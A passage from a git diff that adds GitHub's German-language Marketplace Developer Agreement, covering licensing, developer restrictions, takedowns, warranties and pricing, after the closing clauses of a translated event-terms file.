+Diese Veranstaltungsbedingungen sowie alle Ansprüche, Klagegründe oder Streitigkeiten, die zwischen Ihnen und GitHub entstehen könnten (ein „Anspruch“), unterliegen kalifornischem Recht, ohne Rücksicht auf Kollisionsnormen. FÜR JEGLICHE ANSPRÜCHE, DIE VON DEN PARTEIEN ERHOBEN WERDEN, ERKLÄREN SIE SICH DAMIT EINVERSTANDEN UND STIMMEN ZU, DIE PERSÖNLICHE UND AUSSCHLIESSLICHE GERICHTSBARKEIT UND DEN AUSSCHLIESSLICHEN GERICHTSSTAND DEN STAATS- UND BUNDESGERICHTEN IN SAN FRANCISCO COUNTY, KALIFORNIEN, ZU UNTERSTELLEN.
+
+## 6. Verschiedenes
+
+Sie verpflichten sich, sich nicht als Mitarbeiter, Vertreter oder Erfüllungsgehilfe von GitHub auszugeben werden (es sei denn, Sie sind tatsächlich bei GitHub beschäftigt). Wir behalten uns das Recht vor, die Veranstaltung oder eine damit verbundene Veranstaltung jederzeit aus beliebigem Grund und ohne Haftung oder Schadenersatz abzusagen. Falls GitHub ein Recht oder eine Bestimmung aus diesen Bedingungen nicht ausübt bzw. nicht durchsetzt, stellt dies keinen Verzicht auf das betreffende Recht bzw. die betreffende Bestimmung dar. Sollte sich herausstellen, dass eine Bestimmung dieser Bedingungen nicht durchsetzbar oder ungültig ist, wird diese Bestimmung auf das erforderliche Mindestmaß beschränkt oder aufgehoben, damit die Veranstaltungsbedingungen ansonsten in vollem Umfang in Kraft und wirksam und durchsetzbar bleiben.
diff --git a/translations/de-DE/content/site-policy/github-terms/github-marketplace-developer-agreement.md b/translations/de-DE/content/site-policy/github-terms/github-marketplace-developer-agreement.md
new file mode 100644
index 0000000000..ff05ef3681
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-marketplace-developer-agreement.md
@@ -0,0 +1,279 @@
+---
+title: GitHub Marketplace Entwicklervereinbarung
+redirect_from:
+  - /articles/github-marketplace-developer-agreement
+  - /github/site-policy/github-marketplace-developer-agreement
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: fb7e6f05a24628d6d0062b7f3d8a46aff8d76ac3
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '144556602'
+---
+**DIESE GESCHÄFTSBEDINGUNGEN (DIE „VEREINBARUNG“) REGELN IHRE TEILNAHME AM MARKETPLACE PROGRAMM VON GITHUB. INDEM SIE SICH FÜR DIE TEILNAHME AM MARKETPLACE PROGRAMM ANMELDEN ODER INDEM SIE UNTEN AUF „ICH AKZEPTIERE“ KLICKEN, BESTÄTIGEN SIE, DASS SIE DIESE VEREINBARUNG VERSTEHEN UND ALLE IHRE BEDINGUNGEN AKZEPTIEREN. WENN SIE DIESE VEREINBARUNG IM NAMEN EINES UNTERNEHMENS ODER EINER ANDEREN JURISTISCHEN PERSON ABSCHLIESSEN, ERKLÄREN SIE, DASS SIE DIE GESETZLICHE BEFUGNIS HABEN, DAS UNTERNEHMEN AN DIESE VEREINBARUNG ZU BINDEN. IN DIESEM FALL BEZIEHT SICH „SIE“ AUF DIE JURISTISCHE PERSON, DIE SIE VERTRETEN.**
+
+Wirksamkeitsdatum: 24. August 2021
+
+## 1. DEFINITIONEN
+
+Feste Begriffe, die in dieser Vereinbarung verwendet und hierin nicht definiert werden, haben die Bedeutung, die in den GitHub Nutzungsbedingungen unter [https://docs.github.com/articles/github-terms-of-service](/articles/github-terms-of-service) (die „Bedingungen“ oder „Nutzungsbedingungen“) angegeben ist.
+
+„Action“ bezeichnet einen Mechanismus, mit dem Sie benutzerdefinierte Logik implementieren können, ohne eine Anwendung erstellen zu müssen, um eine bestimmte Aufgabe mit GitHub auszuführen.
+
+„Markenkennzeichen“ bezeichnet die Handelsnamen, Warenzeichen, Dienstleistungsmarken, Logos, Domänennamen und andere charakteristische Markenkennzeichen aller Beteiligten, die zu einem beliebigen Zeitpunkt Eigentum (oder Lizenzen) der jeweiligen Beteiligten sind.
+
+„Entwickler“ bezeichnet Sie, und Sie sind das Unternehmen oder die Einzelperson, die die Software, Inhalte und digitalen Materialien zur Verwendung in Verbindung mit GitHub erstellt hat, die über Marketplace zugänglich sind.
+
+„Entwickleranwendung“ oder „Entwicklerprodukt“ bezeichnet die Software, Inhalte und digitalen Materialien, die Sie zur Verwendung in Verbindung mit GitHub erstellt haben, und die über Marketplace zugänglich sind, und umfasst Actions.
+
+„Endbenutzer“ bezeichnet jede Person, Firma oder andere juristische Person, die Lizenzen für Entwicklerprodukte über den GitHub Marketplace erwerben wird.
+
+„GitHub API“ bezeichnet die proprietäre Anwendungsprogrammschnittstelle (Application Program Interface) von GitHub.  Der Zugriff auf und die Nutzung der GitHub API wird durch die Nutzungsbedingungen geregelt.
+
+„GitHub Marketplace“ oder „Marketplace“ bezeichnet die von GitHub betriebene proprietäre Online-Marktplatzseite, auf der Entwicklerprodukte an Endbenutzer geliefert werden können.
+
+„Eintrag“ bezeichnet den Inhalt, der für die Auflistung des Entwicklerprodukts auf dem GitHub Marketplace bereitgestellt wird.
+
+„Steuern“ bezeichnet jegliche bundesstaatliche, staatliche, lokale oder ausländische Einkommenssteuer, Umsatzsteuer, Franchise-Steuer, Vorsteuer, Alternative Minimum Tax, Mehrwertsteuer, Gebrauchssteuer, Übertragungssteuer, Verbrauchssteuer, Vermögenssteuer, Grundsteuer, Verrechnungssteuer oder sonstige Steuern jeglicher Art, einschließlich aller Zinsen, Strafen oder Zuschläge zu Steuern oder zusätzlichen Beträgen in Bezug auf das Vorstehende.
+
+„Nutzungsdaten“ bezeichnet alle Daten in Bezug auf Marketplace, die in Verbindung mit der Nutzung von GitHub Marketplace durch den Endbenutzer und der Lizenzierung von Entwicklerprodukten generiert werden, einschließlich, aber nicht beschränkt auf Nutzungsstatistiken und aggregierte Verkaufsdaten. Nutzungsdaten umfassen keine Bank- und Zahlungsinformationen und schließen diese ausdrücklich aus.
+
+## 2. ZWECK UND LIZENZGEWÄHRUNG
+
+**2.1** Diese Vereinbarung legt die Geschäftsbedingungen fest, gemäß denen der Entwickler Einträge auf dem GitHub Marketplace zum Kauf von Entwicklerprodukten durch Endbenutzer und zur Verwendung in Verbindung mit GitHub.com veröffentlichen darf.  Diese Vereinbarung gilt für Entwicklerprodukte, die kostenlos vertrieben werden, und für Entwicklerprodukte, für die Endbenutzern eine Gebühr berechnet wird.  Der Entwickler erklärt sich damit einverstanden, den GitHub Marketplace ausschließlich für Zwecke zu nutzen, die durch diese Vereinbarung oder anderweitig nach geltendem Recht zulässig sind.  Zwischen GitHub und Entwickler ist der Entwickler allein verantwortlich für Entwicklerprodukte.
+
+**2.2** Der Entwickler gewährt GitHub eine nicht exklusive, weltweite, übertragbare, unterlizenzierbare, vollständig bezahlte, gebührenfreie Lizenz, um (a) zu hosten, zu verlinken, zu reproduzieren, zu ändern, öffentlich aufzuführen, öffentlich anzuzeigen, zu testen, zu verteilen, verfügbar zu machen, den Eintrag zu lizenzieren und anderweitig zu nutzen; (b) den Eintrag zu Verwaltungs- und Demonstrationszwecken im Zusammenhang mit dem Betrieb und der Vermarktung des Marketplace zu reproduzieren, aufzuführen, anzuzeigen, zu verwenden und darauf zuzugreifen; und (c) Markenkennzeichen des Entwicklers, die der Entwickler GitHub im Rahmen dieser Vereinbarung zur Verfügung gestellt hat, ausschließlich zur Verwendung in Verbindung mit dem Marketplace und zur Erfüllung seiner Verpflichtungen aus der Vereinbarung zu reproduzieren, anzuzeigen, zu verteilen und anderweitig zu verwenden.
+
+**2.3** Zusätzlich zu den oben gewährten Lizenzen kann GitHub Markenkennzeichen des Entwicklers, die GitHub vom Entwickler im Rahmen dieser Vereinbarung bereitgestellt werden, in alle Präsentationen, Mitteilungen, Marketingmaterialien, Pressemitteilungen, Kundenlisten (einschließlich, aber nicht beschränkt auf Kundenlisten, die auf GitHub Websites veröffentlicht werden), Werbeaktionen und sonstige Werbemittel zum Zweck der Vermarktung des Marketplace aufnehmen.  Wenn der Entwickler den Vertrieb bestimmter Entwicklerprodukte auf dem Marketplace einstellt, wird GitHub nach einer wirtschaftlich angemessenen Zeitspanne die Verwendung der Markenkennzeichen der betreffenden Entwicklerprodukte einstellen.  Nichts in dieser Vereinbarung gibt dem Entwickler das Recht, GitHub Markenkennzeichen zu verwenden.
+
+**2.4** Der Entwickler gewährt jedem Endbenutzer ein nicht exklusives, weltweites Recht oder eine Lizenz zur Aufführung, Anzeige und Nutzung der Entwicklerprodukte und aller Inhalte, die in den Entwicklerprodukten enthalten sind, auf die sie zugreifen oder die über die Entwicklerprodukte in Verbindung mit dem Marketplace übertragen werden.  Der Entwickler muss seinen Entwicklerprodukten eine separate Endbenutzer-Lizenzvereinbarung („Lizenzbedingungen“) beifügen, die die Rechte des Endbenutzers an den Entwicklerprodukten anstelle des vorstehenden Satzes regelt.  Der Entwickler erkennt an und stimmt zu, dass die anwendbaren Lizenzbedingungen für jedes Entwicklerprodukt ausschließlich zwischen dem Entwickler und dem Endbenutzer besteht.  GitHub übernimmt keinerlei Verantwortung oder Haftung im Rahmen von Lizenzbedingungen.
+
+**2.5** Mit Ausnahme der in dieser Vereinbarung gewährten Lizenzrechte (a) behält der Entwickler alle Rechte an den Entwicklerprodukten; (b) behält jede Partei alle Rechte, die sie unabhängig von dieser Vereinbarung hat, einschließlich der Rechte nach dem US-Urheberrechtsgesetz oder ähnlichen Gesetzen anderer Gerichtsbarkeiten; und (c) besitzt jede Partei alle Rechte, Titel und Anteile an ihren jeweiligen Markenkennzeichen.  Alle Beteiligten sind für den Schutz und die Durchsetzung ihrer eigenen jeweiligen Rechte verantwortlich, und keine Partei ist dazu verpflichtet, dies im Namen der anderen zu tun.
+
+**2.6** Der Entwickler erkennt an und stimmt zu, dass GitHub berechtigt ist, den Namen, die Adresse und andere Kontaktdaten des Entwicklers an Dritte weiterzugeben, die nach GitHubs alleinigem Ermessen nachvollziehbar behaupten, dass der Entwickler nicht alle erforderlichen geistigen Eigentumsrechte an den Entwicklerprodukten besitzt.
+
+## 3. EINSCHRÄNKUNGEN UND VERANTWORTLICHKEITEN
+
+Ungeachtet der oben in Abschnitt 2, Zweck und Lizenzgewährung, dargelegten Anforderungen erkennt der Entwickler an und stimmt zu, dass seine Nutzung von Marketplace und seine Teilnahme am Programm ausdrücklich von der Einhaltung dieser Vereinbarung durch den Entwickler abhängig ist, einschließlich, aber nicht beschränkt auf die Einschränkungen und Compliance-Anforderungen gemäß diesem Abschnitt 3.
+
+**3.1** Der Entwickler erklärt sich damit einverstanden, die Privatsphäre und die gesetzlichen Rechte aller Endbenutzer zu schützen.  Wenn ein Endbenutzer dem Entwickler Namen, Kennwörter oder andere persönliche Informationen zur Verfügung stellt oder das Produkt anderweitig Namen, Kennwörter oder andere personenbezogene Informationen erhebt, offenlegt, darauf zugreift oder verwendet, muss der Entwickler (a) die Endbenutzer darüber informieren, dass diese Informationen den Entwicklerprodukten zur Verfügung stehen und (b) eine rechtlich angemessene Datenschutzerklärung bereitstellen und einen angemessenen Schutz für Endbenutzer bieten.  Darüber hinaus dürfen Entwicklerprodukte die Informationen nur für den begrenzten Zweck verwenden, für den der Entwickler die Erlaubnis des Endbenutzers erhalten hat. Wenn Entwicklerprodukte persönliche oder vertrauliche Informationen speichern oder übertragen, die von Endbenutzern bereitgestellt oder von Endbenutzern erhalten wurden, muss der Entwickler sicherstellen, dass alle diese Aktivitäten sicher durchgeführt werden, und muss unverzüglich auf Beschwerden, Entfernungsanfragen und „Nicht-kontaktieren“-Anfragen von Endbenutzern auf GitHub oder Marketplace reagieren
+
+**3.2** Um die GitHub API zu verwenden und darauf zuzugreifen, muss der Entwickler API-Anmeldeinformationen (ein „Token“) anfordern, indem er Abonnent wird. Der Entwickler darf sein Token nicht an Dritte weitergeben, muss dieses Token und alle Anmeldeinformationen sicher aufbewahren und das Token als einziges Mittel des Entwicklers für den Zugriff auf die GitHub API verwenden.
+
+**3.3** Der Entwickler erkennt an und stimmt zu, dass er keine Aktivitäten auf Marketplace durchführen wird, einschließlich des Vertriebs von Entwicklerprodukten, die gegen die Marketplace Richtlinien verstoßen oder die:
+
+- 1\. Gegen geltende Gesetze oder Vorschriften verstoßen oder rechtswidrige Aktivitäten fördern;
+- 2\. Aktive Malware oder Exploits enthalten oder installieren oder unsere Plattform für die Bereitstellung von Exploits verwenden (z. B. als Teil eines Befehls- und Steuerungssystems);
+- 3\. PCs, Systeme, Hardware, Server, Netzwerke, Geräte, Daten oder anderes Eigentum oder Dienste Dritter stören, unterbrechen, beschädigen, schädigen oder auf unbefugte Weise darauf zugreifen;
+- 4\. Falsche oder irreführende Inhalte enthalten;
+- 5\. Eigentumsrechte einer Partei verletzen, einschließlich Patenten, Marken, Geschäftsgeheimnissen, Urheberrechten, Veröffentlichungsrechten oder anderen Rechten;
+- 6\. Verleumderisch, diffamierend oder betrügerisch sind;
+- 7\. Das unbefugte Herunterladen von Streaming-Inhalten oder Medien ermöglichen;
+- 8\. Darstellungen oder Links zu rechtswidrigen Inhalten enthalten;
+- 9\. Gegenüber Einzelpersonen oder Gruppen belästigend, missbräuchlich, bedrohend oder aufhetzend sind, einschließlich gegenüber Mitarbeitern, leitenden Angestellten und Vertretern von GitHub oder Endbenutzern;
+- 10\. Sexuell obszöne Inhalte darstellen oder enthalten;
+- 11\. Gegenüber Einzelpersonen oder Gruppen diskriminierend oder missbräuchlich sind;
+- 12\. Endbenutzer umleiten oder Links zu anderen Websites bereitstellen, die den Marketplace nachahmen oder sich selbst als Marketplace ausgeben.
+
+**3.4** Der Entwickler darf den Marketplace, die GitHub API oder Nutzungsdaten unter keinen Umständen über Entwicklerprodukte oder anderweitig neu verpacken oder weiterverkaufen. Dem Entwickler ist es nicht gestattet, die GitHub API oder Nutzungsdaten auf eine Weise zu verwenden, die die Sicherheit des Dienstes, der GitHub API, der Nutzungsdaten oder anderer Daten oder Informationen, die über den Marketplace gespeichert oder übertragen werden, untergräbt oder potenziell beeinträchtigen könnte. Darüber hinaus darf der Entwickler keine Features, Funktionen oder Sicherheitskontrollen von Marketplace oder der GitHub API stören, ändern oder deaktivieren, Schutzmechanismen für diese ausschalten, vermeiden, entfernen, deaktivieren oder anderweitig umgehen und darf Marketplace oder die GitHub API nicht Reverse Engineering, Dekompilierung, Disassemblierung oder Ableitung von Quellcode, zugrunde liegenden Ideen, Algorithmen, Strukturen oder Organisationsformen unterziehen.
+
+**3.5** Der Entwickler erkennt an, dass der Entwickler allein für den Inhalt, die Entwicklung, den Betrieb, den Support oder die Wartung von Entwicklerprodukten verantwortlich ist und dass GitHub keinerlei Verantwortung oder Haftung übernimmt. Ohne das Vorstehende einzuschränken, ist der Entwickler allein dafür verantwortlich
+- (i) die technische Installation und den Betrieb seiner Entwicklerprodukte zu gewährleisten;
+- (ii) Informationen und Inhalte auf, durch oder in den Entwicklerprodukten zu erstellen und anzuzeigen;
+- (iii) sicherzustellen, dass seine Entwicklerprodukte die geistigen Eigentumsrechte Dritter nicht verletzen oder beeinträchtigen;
+- (iv) sicherzustellen, dass Entwicklerprodukte nicht anstößig, frevlerisch, obszön, verleumderisch oder anderweitig illegal sind;
+- (v) sicherzustellen, dass seine Entwicklerprodukte keine bösartige Software enthalten oder in den Marketplace, die GitHub API, die Nutzungsdaten oder andere Daten einführen, die über den Marketplace gespeichert oder übertragen werden; und
+- (vi) sicherzustellen, dass seine Entwicklerprodukte nicht dazu bestimmt oder verwendet werden, kommerzielle elektronische Nachrichten ohne deren Einwilligung an Nutzer, Vertreter oder Endbenutzer von GitHub.com zu senden.
+
+**3.6** Der Entwickler wird die technischen und in den Richtlinien vorgegebenen Beschränkungen der GitHub API und die Beschränkungen dieser Vereinbarung beim Entwerfen und Implementieren von Entwicklerprodukten respektieren und einhalten. Ohne das Vorstehende einzuschränken, darf der Entwickler keine expliziten Ratenbeschränkungen beim Aufrufen oder anderweitigen Verwenden der GitHub API verletzen.
+
+**3.7** GitHub behält sich das Recht vor, diese Vereinbarung sofort zu kündigen, wenn GitHub feststellt, dass der Entwickler gegen eine Anforderung oder Verpflichtung dieses Abschnitts 3 verstoßen hat.
+
+**3.8** Nichts in dieser Vereinbarung hindert eine Partei daran, Anwendungen zu entwickeln und/oder zu veröffentlichen, die ähnlich sind oder anderweitig mit den Anwendungen der anderen Partei konkurrieren.
+
+## 4. TAKEDOWNS
+
+**4.1** Ihre Takedowns. Nachdem Sie GitHub mindestens dreißig (30) Tage vor dem 1. Tag des folgenden Kalendermonats eine schriftliche Mitteilung zukommen lassen, können Sie Ihre Einträge aus dem zukünftigen Vertrieb über Marketplace entfernen, aber Sie müssen diese Vereinbarung für alle Einträge einhalten, die über Marketplace vertrieben werden, einschließlich aber nicht beschränkt auf Rückerstattungsbedingungen. Das Entfernen Ihres Eintrags aus dem zukünftigen Vertrieb über Marketplace hat (a) keine Auswirkungen auf die Lizenzrechte von Endbenutzern, die Ihren Eintrag zuvor gekauft oder installiert haben, oder (b) ändert Ihre Verpflichtung, einen Eintrag zu liefern oder zu unterstützen, der zuvor von Nutzern gekauft oder installiert wurde.
+
+Ungeachtet des Vorstehenden wird GitHub in keinem Fall einen Eintrag auf irgendeinem Teil des Marketplace führen, den Sie von Marketplace entfernt haben und GitHub schriftlich mitgeteilt haben, dass die Entfernung auf Folgendes zurückzuführen ist:
+
+- (i) den Vorwurf der Verletzung oder die tatsächliche Verletzung eines Urheberrechts, einer Marke, eines Geschäftsgeheimnisses, einer Handelsaufmachung, eines Patents oder eines anderen geistigen Eigentumsrechts einer Person,
+- (ii) den Vorwurf der Diffamierung oder die tatsächliche Diffamierung,
+- (iii) den Vorwurf der Verletzung oder die tatsächliche Verletzung des Veröffentlichungs- oder Datenschutzrechts Dritter oder
+- (iv) den Vorwurf oder die Feststellung, dass der betroffene Eintrag nicht mit geltendem Recht vereinbar ist.
+
+Wenn Sie einen Eintrag gemäß den Klauseln (i), (ii), (iii) oder (iv) dieses Abschnitts 4.1 von Marketplace entfernen und ein Endbenutzer diesen Eintrag innerhalb eines Jahres vor dem Datum der Entfernung gekauft hat, ist GitHub nicht verantwortlich für Rückerstattungen von Beiträgen an den betroffenen Käufer, die von diesem Endbenutzer im Jahr vor dem Datum der Deaktivierung für diesen betroffenen Eintrag gezahlt wurden.
+
+**4.2** GitHub Überprüfungen und Takedowns. Obwohl GitHub nicht verpflichtet ist, den Eintrag oder seinen Inhalt zu überwachen, kann GitHub Ihren Eintrag jederzeit auf die Einhaltung dieser Vereinbarung, der Marketplace Programmrichtlinien und anderer anwendbarer Bedingungen, Verpflichtungen, Gesetze oder Vorschriften überprüfen oder testen. GitHub behält sich das Recht vor, die Aufnahme eines Eintrags auf dem Marketplace nach eigenem Ermessen abzulehnen. Möglicherweise müssen Sie im Rahmen des Registrierungsprozesses für Marketplace oder im Rahmen Ihrer fortgesetzten Nutzung von Marketplace Informationen über sich selbst (z. B. Identifikations- oder Kontaktdaten) angeben. Sie versichern, dass alle Informationen, die Sie Marketplace geben, immer genau, korrekt und aktuell sind. Als Teil der Spezifikation für Ihren Eintrag kann GitHub Sie bitten, Informationen wie Ihren Namen und Ihre E-Mail-Adresse in die Datei für Ihren Eintrag aufzunehmen. GitHub kann diese Informationen für die Anzeige des Eintrags in unserem Verzeichnis oder für andere Zwecke verwenden.
+
+Wenn GitHub von Ihnen benachrichtigt wird oder anderweitig davon Kenntnis erlangt und nach eigenem Ermessen feststellt, dass ein Eintrag oder Teile davon oder Ihre Markenkennzeichen
+- (a) die geistigen Eigentumsrechte oder andere Rechte Dritter verletzt;
+- (b) gegen geltendes Recht verstößt oder einer einstweiligen Verfügung unterliegt;
+- (c) pornographisch oder obszön ist oder anderweitig gegen die Hosting-Richtlinien von GitHub oder andere Nutzungsbedingungen verstößt, die von GitHub von Zeit zu Zeit nach eigenem Ermessen aktualisiert werden können;
+- (d) von Ihnen unsachgemäß vertrieben wird;
+- (e) Haftungsrelevanz für GitHub oder Dritte hat;
+- (f) von GitHub als böswillig oder fehlerhaft erachtet wird;
+- (g) gegen die Bedingungen dieser Vereinbarung oder die Marketplace Programmrichtlinien verstößt;
+- (h) die Anzeige des Eintrags die Integrität von GitHub Servern beeinträchtigt (d. h. Nutzer können nicht auf solche Inhalte zugreifen oder haben anderweitig Schwierigkeiten);
+- (i) von GitHub als ein unangemessenes Risiko für die Daten von Marketplace Endbenutzern angesehen oder die Nutzererfahrung von Marketplace oder GitHub beeinträchtigt wird;
+- (j) Gegenstand von Nutzerbeschwerden in Bezug auf Verstöße gegen Ihre Lizenzbedingungen ist, oder
+- (k) anderweitig gegen die Bedingungen oder diese Vereinbarung verstößt,
+
+kann GitHub: verhindern, dass der Eintrag auf Marketplace verfügbar gemacht wird; den Eintrag von Marketplace entfernen; zugehörige Materialien kennzeichnen, filtern oder ändern (einschließlich, aber nicht beschränkt auf Beschreibungen, Screenshots oder Metadaten); oder den Eintrag nach eigenem Ermessen neu klassifizieren. GitHub behält sich das Recht vor, Einträge auf Marketplace nach eigenem Ermessen auszusetzen oder zu sperren.
+
+Für den Fall, dass Ihr Eintrag unfreiwillig entfernt wird, weil er fehlerhaft oder böswillig ist, geistige Eigentumsrechte Dritter verletzt, Dritte verleumdet oder ihre Persönlichkeits- oder Datenschutzrechte verletzt oder gegen geltendes Recht verstößt und ein Endbenutzer diesen Eintrag innerhalb eines Jahres vor dem Datum der Deaktivierung gekauft hat, gilt:
+
+- (i) Sie müssen dem betroffenen Käufer alle Beträge erstatten, die von diesem Endkunden im Jahr vor dem Datum der Deaktivierung für den betroffenen Eintrag gezahlt wurden.
+- (ii) GitHub kann nach eigenem Ermessen den Betrag in Unterabschnitt (i) oben von Ihren zukünftigen Verkäufen einbehalten.
+
+**4.3** Von Zeit zu Zeit kann GitHub nach verfügbaren Updates für Einträge suchen, einschließlich, aber nicht beschränkt auf Fehlerbehebungen oder erweiterte Funktionen. Wenn Sie Ihren Eintrag auf Marketplace aktualisieren, stimmen Sie zu, dass diese Aktualisierung automatisch angefordert, heruntergeladen und ohne weitere Benachrichtigung an Sie installiert wird.  GitHub gibt keine Garantien bezüglich des Zeitpunkts solcher Aktualisierungen. Zur Klarstellung: Aktualisierungen des Eintrags unterliegen denselben Geschäftsbedingungen wie der Eintrag, einschließlich, aber nicht beschränkt auf Abschnitt 4.2 dieser Vereinbarung (GitHub Überprüfung und Takedowns).
+
+**4.4** Takedowns von Endbenutzern. Wenn ein Endbenutzer Ihr Entwicklerprodukt auf eine Weise verwendet, die gegen die Bedingungen verstößt, haben wir das Recht, den Zugriff dieses Endbenutzers auf das Entwicklerprodukt auszusetzen oder zu beenden, ohne Ihnen gegenüber haftbar zu sein.
+
+## 5. ZUSICHERUNGEN, GEWÄHRLEISTUNGEN UND VERPFLICHTUNGEN
+
+**5.1** Der Entwickler erklärt und garantiert, dass der Entwickler alle Nutzer solcher Entwickleranwendungen darüber informiert hat, dass ihre Kontodaten außerhalb des Dienstes übertragen werden und die Geschäftsbedingungen des Entwicklers den Datenschutz, die Sicherheit oder die Integrität dieser Kontodaten regeln. Der Entwickler erklärt und garantiert ferner, dass in dem Umfang, in dem die Anwendungen des Entwicklers Kontodaten speichern, verarbeiten oder übertragen, weder der Entwickler noch die Anwendung des Entwicklers ohne entsprechende vorherige Einwilligung des Nutzers außer in dem nach geltendem Recht erforderlichen Umfang
+- (i) den Inhalt von Kontodaten in einer Weise ändern, die die Integrität von Kontodaten beeinträchtigt;
+- (ii) Kontodaten an Dritte weitergeben; oder
+- (iii) Kontodaten für andere Zwecke als die Bereitstellung der Funktionen der Entwickleranwendung für Nutzer dieser Entwickleranwendung verwenden. Darüber hinaus verwaltet und handhabt der Entwickler alle Kontodaten in Übereinstimmung mit Datenschutz- und Sicherheitsmaßnahmen, die angemessen sind, um die Vertraulichkeit und Sicherheit aller Kontodaten zu gewährleisten, und allen anwendbaren Persönlichkeits- und Datenschutzgesetzen und -regelungen entsprechen.
+
+**5.2** Der Entwickler versichert, den Nachtrag zum Datenschutz von GitHub einzuhalten.
+
+**5.3** Der Entwickler erklärt, garantiert und sichert zu, dass: (i) seine Entwicklerprodukte und Entwickler-Markenkennzeichen nicht die geistigen Eigentumsrechte Dritter verletzen, missbrauchen oder beeinträchtigen; (ii) der Entwickler alle anwendbaren lokalen, staatlichen, nationalen und internationalen Gesetze und Vorschriften einhält, einschließlich, aber nicht beschränkt auf alle anwendbaren Exportkontrollgesetze, und alle Lizenzen, Genehmigungen und sonstigen Genehmigungen beibehält, die für die Entwicklung, Implementierung und den Vertrieb seiner Entwicklerprodukte erforderlich sind; und (iii) seine Entwicklerprodukte keine bösartige Software enthalten oder in den Marketplace, die GitHub API, die Nutzungsdaten oder die anderen Daten, die bei der Verwendung von Marketplace gespeichert oder übertragen werden, einführen werden; (vi) seine Entwicklerprodukte nicht dazu bestimmt sind oder zu dem Zweck verwendet werden, kommerzielle elektronische Nachrichten ohne deren Einwilligung an Kunden, Vertreter oder Endbenutzer von GitHub zu senden; (vi) er über alle Rechte, Befugnisse und Berechtigungen verfügt, die hierin gewährten Lizenzen an GitHub und die Endbenutzer zu vergeben; (vii) er das Recht von GitHub anerkennt, Transaktions- und/oder Auflistungsgebühren zu erheben, wie in Abschnitt 6 vorgesehen; alle Bilder und Texte, die zur Vermarktung der Entwicklerprodukte verwendet werden oder die der Entwickler auf Marketplace hochgeladen hat, wahrheitsgemäß, genau und nicht dazu bestimmt sind, den Endbenutzer irrezuführen oder zu verwirren.
+
+**5.4** AUSSCHLUSS VON GEWÄHRLEISTUNGEN. ALLE ASPEKTE VON MARKETPLACE UND DER GITHUB API, EINSCHLIESSLICH ALLER SERVER- UND NETZWERKKOMPONENTEN, WERDEN „WIE BESEHEN“ UND „WIE VERFÜGBAR“ BEREITGESTELLT, OHNE JEGLICHE GEWÄHRLEISTUNG IM VOLLEN GESETZLICH ZULÄSSIGEN UMFANG, UND GITHUB LEHNT JEGLICHE GEWÄHRLEISTUNGEN, OB AUSDRÜCKLICH ODER STILLSCHWEIGEND, AUSDRÜCKLICH AB, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF STILLSCHWEIGENDE GEWÄHRLEISTUNGEN DER MARKTGÄNGIGKEIT, DES EIGENTUMS, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN DRITTER.  DER ENTWICKLER ERKENNT AN, DASS GITHUB NICHT GEWÄHRLEISTET, DASS DER MARKETPLACE ODER DIE GITHUB API UNUNTERBROCHEN, RECHTZEITIG, SICHER, FEHLERFREI ODER FREI VON VIREN, MALWARE ODER WÜRMERN IST (AUCH BEKANNT ALS COMPUTERCODE ODER SONSTIGE TECHNOLOGIE, DIE SPEZIELL ZUR STÖRUNG, DEAKTIVIERUNG ODER BESCHÄDIGUNG IHRER SOFTWARE, HARDWARE, IHRES COMPUTERSYSTEMS ODER NETZWERKS ENTWICKELT WURDE), UND DASS INFORMATIONEN ODER RATSCHLÄGE, DIE DER ENTWICKLER VON GITHUB ODER ÜBER DEN MARKETPLACE ODER DIE GITHUB API ERHALTEN HAT, KEINE GARANTIEN BEGRÜNDEN, DIE NICHT AUSDRÜCKLICH IN DIESEN BEDINGUNGEN ANGEGEBEN SIND.  GITHUB IST NICHT VERANTWORTLICH UND SCHLIESST AUSDRÜCKLICH JEGLICHE HAFTUNG FÜR JEGLICHE UNAUTORISIERTE VERWENDUNG VON ENTWICKLERPRODUKTEN AUSSERHALB VON MARKETPLACE AUS.
+
+## 6. PREISE UND ZAHLUNGSBEDINGUNGEN
+
+**6.1** GitHub wird der eingetragene Händler für Entwicklerprodukte sein, die von Endbenutzern über Marketplace gekauft wurden.
+
+**6.2** Preise für Marketplace Einträge von Entwickleranwendungen werden in US-Dollar (USD) festgelegt. Der Entwickler hat die vollständige Kontrolle über die Festlegung der Preise für jeden Eintrag, und sobald diese festgelegt sind, können diese Preise nicht mehr geändert werden. Sie sind berechtigt, einen Preisplan für einen bestehenden Eintrag zurückzuziehen und einen neuen Preisplan für einen solchen Eintrag hinzuzufügen, vorausgesetzt, dass dieser neue Preisplan keine negativen Auswirkungen auf bestehende Endbenutzer hat. Die Preise, die Sie für Entwicklerprodukte festlegen, bestimmen die Höhe der Zahlung, die Sie erhalten. GitHub überweist 95 % des Verkaufspreises in USD ohne Abzug für Steuern, mit Ausnahme von Quellensteuern, die nach geltendem Recht erforderlich sind. Die restlichen 5 % des Verkaufspreises werden GitHub zugeteilt und von GitHub einbehalten.  Am Ende jedes Monats und bei Erreichen eines Mindestwerts von $500 USD überweist GitHub Ihren Zahlungsanteil.
+
+**6.3.** Rückerstattungsanforderungen. Sie sind dafür verantwortlich, die Bedingungen für eventuelle Rückerstattungen an Ihre Endbenutzer festzulegen. In keinem Fall ist GitHub für die Bereitstellung von Support für Rückerstattungen verantwortlich, noch ist GitHub für die Zahlung von Rückerstattungen haftbar.
+
+**6.4** Sie unterstützen Ihr Entwicklerprodukt. Sie sind allein verantwortlich für den Support und die Wartung Ihrer Entwicklerprodukte und alle Beschwerden über Ihre Entwicklerprodukte. Ihre Support-Kontaktinformationen werden auf jeder Anwendungsdetailseite angezeigt und Nutzern für Kundensupportzwecke zur Verfügung gestellt. Wenn Sie keine angemessene Unterstützung für Ihre Entwicklerprodukte bereitstellen, kann dies zu einer weniger prominenten Produktpräsenz oder in einigen Fällen zur Entfernung aus Marketplace oder an anderer Stelle auf GitHub.com führen, wo zuvor gekaufte oder heruntergeladene Entwicklerprodukte für Nutzer gespeichert sind.
+
+## 7. EIGENTUM
+
